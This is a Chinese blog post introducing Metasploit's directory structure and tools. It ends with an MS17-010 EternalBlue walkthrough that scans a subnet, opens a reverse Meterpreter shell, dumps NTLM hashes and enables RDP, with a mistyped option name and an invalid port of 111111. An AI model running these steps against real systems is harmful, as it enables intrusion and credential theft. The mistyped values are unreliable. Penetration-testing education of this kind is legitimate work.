当前位置: 首页 > news >正文

MSF基础知识

更新 Metasploit​​:
sudo apt update && sudo apt upgrade metasploit-framework
安装目录
┌──(root㉿kali)-[~/桌面]
└─# which msfconsole                                                                
/usr/bin/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /usr/bin/msfconsole
lrwxrwxrwx 1 root root 28 2024年 2月13日 /usr/bin/msfconsole -> /etc/alternatives/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /etc/alternatives/msfconsole
lrwxrwxrwx 1 root root 42 2024年 2月13日 /etc/alternatives/msfconsole -> /usr/share/metasploit-framework/msfconsole                                                                                                                                                                                                     

及其路径为/usr/share/metasploit-framework/msfconsole
进入metasploit-framework

┌──(root㉿kali)-[/usr/share/metasploit-framework]
└─# ls
app     data  docs           Gemfile       lib                           modules     msfd   msf-json-rpc.ru  msfrpcd    msfvenom   plugins   ruby            script-password  scripts  vendor
config  db    documentation  Gemfile.lock  metasploit-framework.gemspec  msfconsole  msfdb  msfrpc           msfupdate  msf-ws.ru  Rakefile  script-exploit  script-recon     tools

主要进行来了解modules文件夹

1. modules/- ​​模块库(最重要的目录)​

这是 MSF 的“武器库”,所有的攻击、扫描、辅助功能都以模块的形式存放在这里。这是你作为渗透测试员最需要关注的目录。

​​exploits/​​: ​​漏洞利用模块​​。存放针对各种系统、服务、应用程序的漏洞利用代码。按目标系统分类(如 /windows/, /linux/, /multi/, /android/等)。这是发起攻击的“炮弹”。

​​payloads/​​: ​​有效载荷模块​​。用于生成在成功利用漏洞后执行的代码(即木马、后门)。例如 Meterpreter、Shellcode、单行命令等。msfvenom工具主要调用这里的模块。

​​auxiliary/​​: ​​辅助模块​​。不直接进行漏洞利用,但渗透测试中必不可少的功能集合。包括扫描器(端口、服务、漏洞)、嗅探器、爆破工具(HTTP, FTP, SSH 等)、信息收集工具(如 scanner/discovery/arp_sweep)。

post/​​: ​​后渗透模块​​。在已经获得一个会话(Session)之后,用于进行内网横向移动、权限提升、信息搜集、持久化驻留等操作。这是内网渗透的核心。

​​encoders/​​: ​​编码器模块​​。用于对 Payload 进行编码和混淆,目的是绕过杀毒软件(AV)和入侵防御系统(IPS)的检测,即​​免杀​​。

​​nops/​​: ​​空指令模块​​。生成空指令序列,在构造漏洞利用代码时用于提高稳定性和兼容性。

2. lib/- ​​库文件​​

MSF 的“大脑”和“骨架”。包含了框架运行所需的所有 Ruby 库文件。当你开发自定义模块或脚本时,需要调用这里的库。除非你做二次开发,否则一般不需要直接修改。

3. tools/- ​​独立工具脚本​​

存放一些非常实用且​​可以独立于 msfconsole运行​​的 Ruby 脚本。

​​经典工具​​:

pattern_create.rb:生成一段特殊的、不重复的字符串(De Bruijn 序列),用于在漏洞利用中精确定位返回地址(EIP/RIP)的偏移量。

pattern_offset.rb:根据崩溃时寄存器中的值,计算出自 pattern_create.rb生成的字符串的确切偏移量。

nasm_shell.rb:一个简单的 NASM 汇编 shell,用于快速将汇编指令转换为操作码(Opcode)。

4. scripts/- ​​脚本资源​​

主要包含 ​​Meterpreter​​ 和其他功能的脚本资源。这些脚本通常是在获得会话后,在 Meterpreter 内部使用 run命令来执行的(例如 run post/windows/gather/checkvm)。

5. plugins/- ​​插件​​

用于扩展 msfconsole本身的功能。加载插件后,可以在控制台内使用新的命令。例如 load nessus可以集成 Nessus 扫描器。

6. data/- ​​数据文件​​

存放 MSF 运行所需的各种静态数据文件,例如单词列表(用于爆破)、漏洞利用所需的特定模式数据、Shellcode 源等。

7. docs/& documentation/- ​​文档​​

官方文档和使用说明。

8. config/- ​​框架默认配置​​

MSF 框架本身的默认配置文件。​​注意​​:这与用户个人的配置文件 ~/.msf4/config不同,这里的配置会被系统更新覆盖。

核心可执行文件(命令入口)

这些是你在终端中直接调用的命令,它们都是 Ruby 脚本:

​​msfconsole​​: ​​主控制台​​。最强大、最常用的交互式界面。

​​msfvenom​​: ​​Payload 生成器​​。用于生成各种格式的有效载荷(木马文件),是制作免杀shell的核心工具。它结合了旧版的 msfpayload和 msfencode的功能。

​​msfdb​​: ​​数据库管理工具​​。用于初始化、启动、停止和状态查看与 MSF 配套的 PostgreSQL 数据库(msfdb init, msfdb start)。

​​msfd​​: ​​Metasploit 守护进程​​。提供一个远程的 MSF 控制台接口。

​​msfrpcd​​: ​​RPC 守护进程​​。提供远程程序调用接口,允许其他程序(如 Python 脚本)通过 API 与 MSF 交互。

​​msfupdate​​: ​​更新工具​​(现已基本被系统的 apt update取代)。
小结

路径/文件核心作用渗透阶段
modules/exploits/攻击突破口初始入侵
modules/payloads/生成后门木马载荷生成
modules/auxiliary/信息收集、扫描、爆破侦察
modules/post/横移、提权、权限维持后渗透(内网核心)
modules/encoders/代码混淆免杀绕过防御
tools/漏洞利用辅助计算exploit 开发
msfconsole总指挥中心全程
msfvenom木马制造工厂载荷生成

在实战中我们经常使用到modules里面的内容,以实战我们进行利用ms17漏洞为例

1.​​搜索模块​​:
msf6 > search ms17-010
2.​​使用扫描器进行网段探测​​ (非常重要,避免盲目攻击):
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24 # 设置目标网段
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
3.​​利用漏洞获取Shell​​:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.10 # 设置具体目标IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5  # 设置监听主机(你的Kali IP)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHPORT 111111   # 设置监听主机端口
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
4.后渗透 - 抓取哈希​​:
meterpreter > hashdump

• 作用​​: 从目标机器的SAM数据库中提取用户名和密码哈希(NTLM),用于后续的密码破解或PtH(Pass-the-Hash)攻击。

5.后渗透 - 启用RDP​​:
meterpreter > run post/windows/manage/enable_rdp
开始攻击
1. 搜索模块
`search ms17-010`
2. 扫描网段探测
`use auxiliary/scanner/smb/smb_ms17_010`
`set RHOSTS 192.168.1.0/24`
`run`
发现易受攻击主机?
3. 利用漏洞获取Shell
`use exploit/windows/smb/ms17_010_eternalblue`
`set RHOST 192.168.1.10`
`set LHOST 192.168.1.5`
`set LPORT 111111`
`exploit`
攻击终止
获取Meterpreter会话?
4. 后渗透 - 抓取哈希
`meterpreter > hashdump`
提取NTLM哈希
5. 后渗透 - 启用RDP
`meterpreter > run post/windows/manage/enable_rdp`
攻击成功
获得持久访问权限
内网横向移动
密码破解
权限维持
http://www.dtcms.com/a/348359.html

相关文章:

  • Flask蓝图:模块化开发的利器
  • 数学建模--模糊综合评价法
  • 优化OpenHarmony中lspci命令实现直接获取设备具体型号
  • 7.6 残差网络
  • Palantir Foundry 领先其他数据平台5到10年:一位使用者的深入观察
  • vscode配置remote-ssh进行容器内开发
  • BQTLOCK 勒索软件即服务出现,拥有复杂的规避策略
  • MRO and mixin in Python Django
  • GD32VW553-IOT 测评和vscode开发环境搭建
  • Flutter性能优化完全指南:构建流畅应用的实用策略
  • 多奥将梯控系统、无线网桥及工业交换机的核心功能与参数整合为结构化表格,并补充应用价值分析
  • rust语言 (1.88) egui (0.32.1) 学习笔记(逐行注释)(十八) 使用表格
  • 时间复杂度
  • 多核多线程应用程序开发可见性和乱序如何处理
  • ESNP LAB 笔记:配置MPLS(Part2)
  • Java Stream API详解
  • iptables 防火墙核心知识梳理(附实操指南)
  • VS2022的MFC中关联使用控制台并用printf输出调试信息
  • GPT 模型详解:从原理到应用
  • 构建AI智能体:十二、给词语绘制地图:Embedding如何构建机器的认知空间
  • 大白话解析:多证明验证(Merkle Multi-Proof)​
  • 【Python】CSV批量转Excel工具 (Tkinter版)
  • 【Docker基础】Docker-compose多容器协作案例示例:从LNMP到分布式应用集群
  • 复杂姿态误报率↓78%!陌讯多模态算法在跌倒检测的医疗落地
  • 恶劣天气下漏检率↓79%!陌讯多模态时序融合算法在道路事故识别的实战优化
  • 第16届蓝桥杯C++中高级选拔赛(STEMA)2025年1月12日真题
  • 大模型面试题剖析:模型微调和蒸馏核心技术拆解与考点梳理
  • 爆肝三周,我终于上线了自己的第一个小程序
  • 01-鸿蒙系统概览与发展历程
  • 鸿蒙中Frame分析